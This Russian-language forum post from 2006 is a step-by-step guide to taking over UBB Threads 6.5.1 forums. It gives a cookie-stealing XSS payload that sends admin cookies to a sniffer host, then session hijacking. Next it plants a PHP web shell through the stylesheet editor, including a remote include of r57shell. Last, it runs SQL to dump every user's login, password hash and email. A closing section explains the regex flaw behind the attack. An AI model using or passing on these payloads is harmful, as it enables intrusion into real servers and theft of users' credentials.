Форумы UBB Threads 6.5.1 (Инструкция по заливке шелла)

Discussion in 'Уязвимости CMS/форумов' started by pch, 30 Apr 2006.

Thread Status:
Not open for further replies.
  1. pch

    pch Elder - Старейшина

    Joined:
    22 Oct 2005
    Messages:
    34
    Likes Received:
    41
    Reputations:
    15
    Инструкция по заливке шелла

    Проверялось на UBB Threads 6.5.1.
    Для начала надо украсть cookie. Сделать это можно через следующую XSS:
    HTML:
    http://vict"onError="var/**/aa=new/**/Image();bb=document.cookie;aa.src='http://sniff/s.php?'+bb"style="background:url(http://laza);display:block;width:1px;height:1px;list-style-image:url(javascript:aa=new/**/Image()\;bb=document.cookie\;aa.src='http://sniff/s.php?'+bb)"title='alt="m.ru/1.jpg  http://vict="title='i="m.ru/1.jpg
    Вместо "sniff/s.php?" надо вставить путь до сниффера. Менять надо в двух местах (в "list-style-image" и в обработчике onError).
    Далее подставляешь полученные админские cookie. Сделать это можно с помощью прог Cookie Editor в IE, встроенного менеджера cookie в опере или с помощью расширения Add & Edit Cookies в Firefox.
    Всё, теперь ты - админ. Иди в админку. Слева появиться меню с всевозможными действиями. Вибирай Create stylesheet (создать таблицу стилей). В большое текстовое поле вбиваешь текст шелла (а можно просто подключить шелл от rst кодом <? include("http://rst.void.ru/download/r57shell.txt"); ?>). Ниже вбиваешь любое название шелла (главное, чтобы оно оканчивалось на .php, если php-shell, на .pl, если perl-shell итд). Пусть будет называться лаконически shell.php. Кликаешь "Add this stylesheet" (добавить таблицу стилей). Ура - по адресу http://site.ru/stylesheets/shell.php лежит твой шелл.
    На самом деле, если тебе нужны только хеши, то можно их получить и средствами самого форума. Заходишь в раздел "SQL command" (sql команды) и вводишь:
    SELECT U_Username, U_Password, U_Email FROM w3t_Users
    (выводит логины, хеши и e-mail'ы всех юзеров).
    Правда, если админ сменил префикс таблиц, то это не сработает и придётся вначале узнать имя таблицы с логинами, выполнив запрос "SHOW TABLES FROM datebase", где database - имя таблицы (узнать последнее можно в разделе "Edit config settings")



    Почему это работает

    После первого взгляда на код UBB Threads 6.5, обрабатывающий посты, я не увидел ничего хорошего:
    PHP:
    $Body preg_replace("/\[url\]http:\/\/([^\[]*?)\[\/url\]/i","<a href=\"http://\\1\" target=\"_blank\">http://\\1</a>",$Body);
    Регулярное выражение недвухсмысленно запрещало знак '[' в тексте ссылки. В img и др. тэгах такая же фильтрация. Следовательно спаренным тэгам в этот раз придётся курить бамбук.
    Но, запрещая квадратную скобку, это регулярное выражение попускает двойные кавычки! Подставил - облом. Причиной облома стал код ниже:
    PHP:
    preg_match_all("/\[url=(.*?)\]/is",$Body,$matches1);
    $bad "";
    for (
    $i=0$i count($matches1['0']); $i++) {
        if (
    strstr($matches1['0'][$i],"\"")) {
            
    $bad 1;
        }
    }
    if (!
    $bad) {
        
    $Body preg_replace("/\[url=(.*?)\](.*?)\[\/url\]/i","<a href=\"\\1\" target=\"_blank\">\\2</a>",$Body);
    }
    А почему это нельзя было совместить с первым рег. выражением? Одназначно, у кого-то кривые руки :p. Но тем не менее фильтр есть. Проскролив файл вверх-вниз и не найдя там ничего интересного, я уже хотел сдаться, но вдруг обратил внимание на строку:
    PHP:
    $Body preg_replace("#([\n\r ])([a-z]+?)://([^, \n\r]+)#i""\\1<a href=\"\\2://\\3\" target=\"_blank\">\\2://\\3</a>"$Body);
    Самое что ни на есть обычное действие: преобразование ссылок прописанных в тексте в кликабельные. Но после http:// разрешается все символы кроме запятой, пробела и знаков переноса (короче тех, которыми обычно отделена ссылка). Уже понятно к чему клоню? Ставим "title=' - и у нас выход в тэг.
    Не буду расписывать подробностей сплоита, скажу лишь основное. Сплоит работает в IE за счёт list-style-image:url(javascript:...). Opera отсылает куки по событию onError, которое, в свою очередь, возникает из-за указание несуществующего файла, как фона background:url(http://laza). Текст сплоита не виден из-за того, что размера его содержащего бокса - 1px*1px.
    Напоследок, приведу html-код, в который преобразуется сплоит:
    HTML:
    <a href="http://vict"onError="var/**/aa=new/**/Image();bb=document.cookie;aa.src='http://rot.hut1.ru/k/index.php?'+bb"style="background:url(http://laza);display:block;width:1px;height:1px;list-style-image:url(javascript:aa=new/**/Image()\;bb=document.cookie\;aa.src='http://rot.hut1.ru/k/index.php?'+bb)"title='alt="m.ru/1.jpg" target="_blank">http://vict"onError="var/**/aa=new/**/Im...alt="m.ru/1.jpg</a>  <a href="http://vict="title='i="m.ru/1.jpg" target="_blank">http://vict="title='i="m.ru/1.jpg</a>
    
    Удачи!

    © pch (pchopch on the gmail.com) [antichat.ru] 2006
     
    #1 pch, 30 Apr 2006
    Last edited: 30 Apr 2006
    1 person likes this.
Thread Status:
Not open for further replies.